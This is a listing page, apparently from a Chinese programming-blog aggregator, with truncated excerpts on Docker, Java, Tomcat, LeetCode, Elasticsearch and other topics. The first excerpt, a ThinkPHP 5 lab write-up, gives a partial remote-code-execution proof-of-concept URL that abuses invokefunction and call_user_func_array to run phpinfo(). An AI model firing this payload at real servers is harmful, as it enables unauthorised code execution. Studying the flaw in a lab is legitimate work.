[ThinkPHP]5-Rce
靶场首页 构造POC POC1 该poc会执行phpinfo() http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1 ... 查看全文
【转】docker配置参数详解---/etc/docker/daemon.json完整参数
1 docker-daemon.json各配置详解 2 { 3 “api-cors-header”:"", ——————在引擎API中设置CORS标头 4 “authorization-plugins”:[], ——————要加载的授权插件 5 “bridge”:"", ————将容器附加到网桥 6... ... 查看全文
Three Layers of JavaEE Projects
MVC first appeared at the Web Layer of a Java Web project, it's a thinking. The Layers: web layer: com.truman.web/servlet/controller service layer: co ... 查看全文
SpringBoot整合easyexcel实现Excel的导出
之前使用POI导出excel需要自己先去创建excel文件,还要创建sheet,写表头,操作起来确实很麻烦,针对产品这种随心而欲的需求我们能不能快速的做完这样一个产品看起来挺简单的功能。 或者弊端是POI 占用内存较大而且性能不高,表格数据多卡顿 解析慢。 引入Maven依赖 <dependency ... 查看全文
JAVA8 LocalDateTime
LocalDateTime <=> String //时间转字符串格式化 DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMddHHmmssSSS"); String dateTime = LocalDateTime.n ... 查看全文
LeetCode 34. 在排序数组中查找元素的第一个和最后一个位置 | Python
34. 在排序数组中查找元素的第一个和最后一个位置 题目来源:力扣(LeetCode)https://leetcode-cn.com/problems/find-first-and-last-position-of-element-in-sorted-array 题目 给定一个按照升序排列的整数数组 ... 查看全文
Elasticsearch调优篇 02 - 高效求交算法大比拼
没有多余的废话,直接上方案吧! 方案一: 最笨的方案即:for * for,对应的时间复杂度为:O(n*n) 每个搜索词命中的网页是非常多的,O(n*n) 的复杂度是明显不能接受的。倒排索引是在创建之初可以进行排序预处理,问题转化成两个有序的list求交集,就方便多了。 画外音:比较笨的方法。 方案 ... 查看全文
对比c++类的两种成员初始化方式
#include <iostream> using namespace std; struct SData { SData() { std::cout << "default construct" << std::endl; } SData(int value) : a(value) { std:: ... 查看全文
Json Schema Validator用法(Python示例)
# 导入验证器 from jsonschema import validate # 编写schema: my_schema = { "$schema": "http://json-schema.org/draft-04/schema#", "title": "TestInfo", "descript ... 查看全文
构建树形结构数据(全部构建,查找构建)C#版
摘要: 最近在做任务管理,任务可以无限派生子任务且没有数量限制,前端采用Easyui的Treegrid树形展示控件。 一、遇到的问题 二、解决方法 1、Tree转化的JSON数据格式 a.JSON数据格式: b.定义实体必要字段 为了Tree结构的通用性,我们可以定义一个抽象的公用实体TreeObj ... 查看全文
Windows10系统下安装配置Tomcat 9.0.1
Tomcat9.0.1下载:https://tomcat.apache.org/download-90.cgi 在系统变量里新建变量名:CATALINA_BASE,变量值:D:\tomcat\apache-tomcat-9.0.1 在系统变量里新建变量名:CATALINA_HOME,变量值:D:\t ... 查看全文
mingw zlib-1.2.11 win32-static.patch
diff --git a/Makefile.in b/Makefile.in index 1852192..c88f5b5 100644 a/Makefile.in +++ b/Makefile.in @@ -310,12 +310,12 @@ install-libs: $(LIBS) -@if ... 查看全文
JS DOM基础 操作属性、类、CSS样式
操作属性和类 一、属性节点操作 文本节点内容的获取和修改: 语法:elementNode.attributeName ( 元素节点.属性名) 也可以使用“[ ]” ( 元素节点[属性名]) 注意:一般我们操作属性节点时是不需要获取属性节点的,而是直接通过元素节点获取(/修改)属性节点的值。 特别的, ... 查看全文
转摘Apache与Tomcat有什么关系和区别
Apache 和 Tomcat 都是web网络服务器,两者既有联系又有区别,在进行HTML、PHP、JSP、Perl等开发过程中,需要准确掌握其各自特点,选择最佳的服务器配置。 Apache是web服务器(静态解析,如HTML),tomcat是java应用服务器(动态解析,如JSP) Tomcat只 ... 查看全文
NetBackup 5240 备份一体机概述
一、NetBackup 5240 Appliance 概述 NetBackup 5240 Appliance 是一种可扩展到 300 TB 可用备份容量的硬件和软件存储系统。它包括 NetBackup 5240 Appliance 和可选的 Veritas 2U12 49TB 存储扩展架(最多六个) ... 查看全文
apache配置虚拟主机 个人理解
范例 Listen 80 #NameVirtualHost * <VirtualHost *:8080> ServerName apacheconfig2 DocumentRoot /var/www/apacheconfig/test1 DirectoryIndex index.html #站点的默 ... 查看全文
三分钟学会在ASP.NET Core MVC 中使用Cookie
我的朋友问我cookie是什么,用来干什么的,可是我居然无法清楚明白简短地向其阐述cookie,这不禁让我陷入了沉思:为什么我无法解释清楚,我对学习的方法产生了怀疑!所以我们在学习一个东西的时候,一定要做到知其然知其所以然。 ... 查看全文
.Net Framework 与 .Net Core中的静态构造函数
起因 前几天在看书的时候看到一条内容 由于CLR保证一个类型构造器在每个AppDomain中只执行一次,而且(这种执行)是线程安全的,所以非常适合在类型构造器中初始化类型需要的任何单实例(Singleton)对象。 忽然想到,平时自己使用过程中都是通过Lazy来延迟化构建单例对象,就产生了一个疑问, ... 查看全文
P5836 [USACO19DEC]Milk Visits S 从并查集到LCA(最近公共祖先) Tarjan算法 (初级)
为什么以它为例,因为这个最水,LCA唯一黄题。 首先做两道并查集的练习(估计已经忘光了)。简单来说并查集就是认爸爸找爸爸的算法。先根据线索理认爸爸,然后查询阶段如果发现他们的爸爸相同,那就是联通一家的,不同就不是一家的。 两道简单例题 P1551 亲戚 P1536 村村通 以P1551 亲戚为例 题 ... 查看全文
8.二叉树的diff算法,查看并输出二叉树不同的地方(JavaScript版)
查看并输出二叉树不同的地方: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> < ... 查看全文